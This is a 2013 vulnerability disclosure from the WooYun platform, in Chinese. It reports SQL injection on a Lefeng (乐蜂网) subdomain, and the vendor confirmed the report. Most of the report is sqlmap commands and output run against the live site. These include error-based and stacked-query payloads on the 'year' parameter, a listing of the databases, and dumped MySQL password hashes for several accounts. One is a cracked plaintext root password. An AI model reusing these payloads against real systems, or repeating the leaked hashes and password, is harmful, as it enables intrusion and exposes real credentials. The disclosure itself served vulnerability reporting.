当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-019481

漏洞标题:乐蜂网分站SQL注入貌似ROOT权限可脱裤

相关厂商:乐蜂网

漏洞作者: saviourtech

提交时间:2013-03-04 10:25

修复时间:2013-04-18 10:25

公开时间:2013-04-18 10:25

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-03-04: 细节已通知厂商并且等待厂商处理中
2013-03-04: 厂商已经确认,细节仅向厂商公开
2013-03-14: 细节向核心白帽子及相关领域专家公开
2013-03-24: 细节向普通白帽子公开
2013-04-03: 细节向实习白帽子公开
2013-04-18: 细节向公众公开

简要描述:

乐蜂网分站SQL注入 貌似ROOT权限 不说废话了 求礼物!

详细说明:

E:\教程\sqlmap>C:\Python27\python E:\教程\sqlmap\sqlmap\sqlmap.py -u "http://f.l
efeng.com/pk/index?year=2013" --dbs --threads 1
Place: GET
Parameter: year
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: year=2013' AND (SELECT 8276 FROM(SELECT COUNT(*),CONCAT(0x3a726b6c3
a,(SELECT (CASE WHEN (8276=8276) THEN 1 ELSE 0 END)),0x3a6362743a,FLOOR(RAND(0)*
2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'WGVp'='WGVp
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries
Payload: year=2013'; SELECT SLEEP(5)--
---
[09:15:09] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.6
back-end DBMS: MySQL 5.0
[09:15:09] [INFO] fetching database names
[09:15:09] [INFO] the SQL query used returns 8 entries
[09:15:09] [INFO] retrieved: information_schema
[09:15:10] [INFO] retrieved: cacti_nagios
[09:15:10] [INFO] retrieved: fengxiangbiao
[09:15:10] [INFO] retrieved: lefeng_talent
[09:15:10] [INFO] retrieved: lefeng_wenda
[09:15:11] [INFO] retrieved: mysql
[09:15:11] [INFO] retrieved: performance_schema
[09:15:11] [INFO] retrieved: test
available databases [8]:
[*] cacti_nagios
[*] fengxiangbiao
[*] information_schema
[*] lefeng_talent
[*] lefeng_wenda
[*] mysql
[*] performance_schema
[*] test


漏洞证明:

QQ截图20130304100610.png


E:\教程\sqlmap>C:\Python27\python E:\教程\sqlmap\sqlmap\sqlmap.py -u "http://f.l
efeng.com/pk/index?year=2013" --passwords --threads 3
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 10:06:28
[10:06:28] [INFO] resuming back-end DBMS 'mysql'
[10:06:28] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: year
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: year=2013' AND (SELECT 8276 FROM(SELECT COUNT(*),CONCAT(0x3a726b6c3
a,(SELECT (CASE WHEN (8276=8276) THEN 1 ELSE 0 END)),0x3a6362743a,FLOOR(RAND(0)*
2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'WGVp'='WGVp
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries
Payload: year=2013'; SELECT SLEEP(5)--
---
[10:06:28] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.6
back-end DBMS: MySQL 5.0
[10:06:28] [INFO] fetching database users password hashes
[10:06:28] [INFO] the SQL query used returns 5 entries
[10:06:28] [INFO] starting 3 threads
[10:06:28] [INFO] resumed: cacti
[10:06:28] [INFO] resumed: dffxmysql
[10:06:28] [INFO] resumed: *42FD27C36FBAA374F5867999859C3BE8881D3D2C
[10:06:28] [INFO] resumed: repl
[10:06:28] [INFO] resumed: *F999CB25F51B2AC5C23406C5E7C0DB40263860FD
[10:06:28] [INFO] resumed: cactiuser
[10:06:28] [INFO] resumed: *7FFCE8197A942D8796B6E0EE7A479170664C18F5
[10:06:28] [INFO] resumed: root
[10:06:28] [INFO] resumed: *23BD454A1686EBC712067202292C1CD7AD6A0E81
[10:06:28] [INFO] resumed: *A424E797037BF97C19A2E88CF7891C5C2038C039
do you want to perform a dictionary-based attack against retrieved password hash
es? [Y/n/q]
[10:06:32] [INFO] using hash method 'mysql_passwd'
[10:06:32] [INFO] resuming password 'repl' for hash '*a424e797037bf97c19a2e88cf7
891c5c2038c039' for user 'root'
[10:06:32] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
what dictionary do you want to use?
[1] default dictionary file 'E:\??\sqlmap\sqlmap\txt\wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
>
[10:06:33] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N]
[10:06:34] [INFO] starting dictionary-based cracking (mysql_passwd)
[10:06:34] [INFO] starting 4 processes
[10:06:48] [INFO] writing uncracked hashes to file 'c:\users\admini~1.rj4\appdat
a\local\temp\tmptw8ybg.txt' for eventual further processing
database management system users password hashes:
[*] cacti [1]:
password hash: *42FD27C36FBAA374F5867999859C3BE8881D3D2C
[*] cactiuser [1]:
password hash: *23BD454A1686EBC712067202292C1CD7AD6A0E81
[*] dffxmysql [1]:
password hash: *F999CB25F51B2AC5C23406C5E7C0DB40263860FD
[*] repl [1]:
password hash: *7FFCE8197A942D8796B6E0EE7A479170664C18F5
[*] root [1]:
password hash: *A424E797037BF97C19A2E88CF7891C5C2038C039
clear-text password: repl

修复方案:

求礼物 QQ:1759462728

版权声明:转载请注明来源 saviourtech@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2013-03-04 11:18

厂商回复:

没有重要数据,我们将尽快修复,礼物随后将寄出,谢谢!!

最新状态:

暂无


漏洞评价:

评论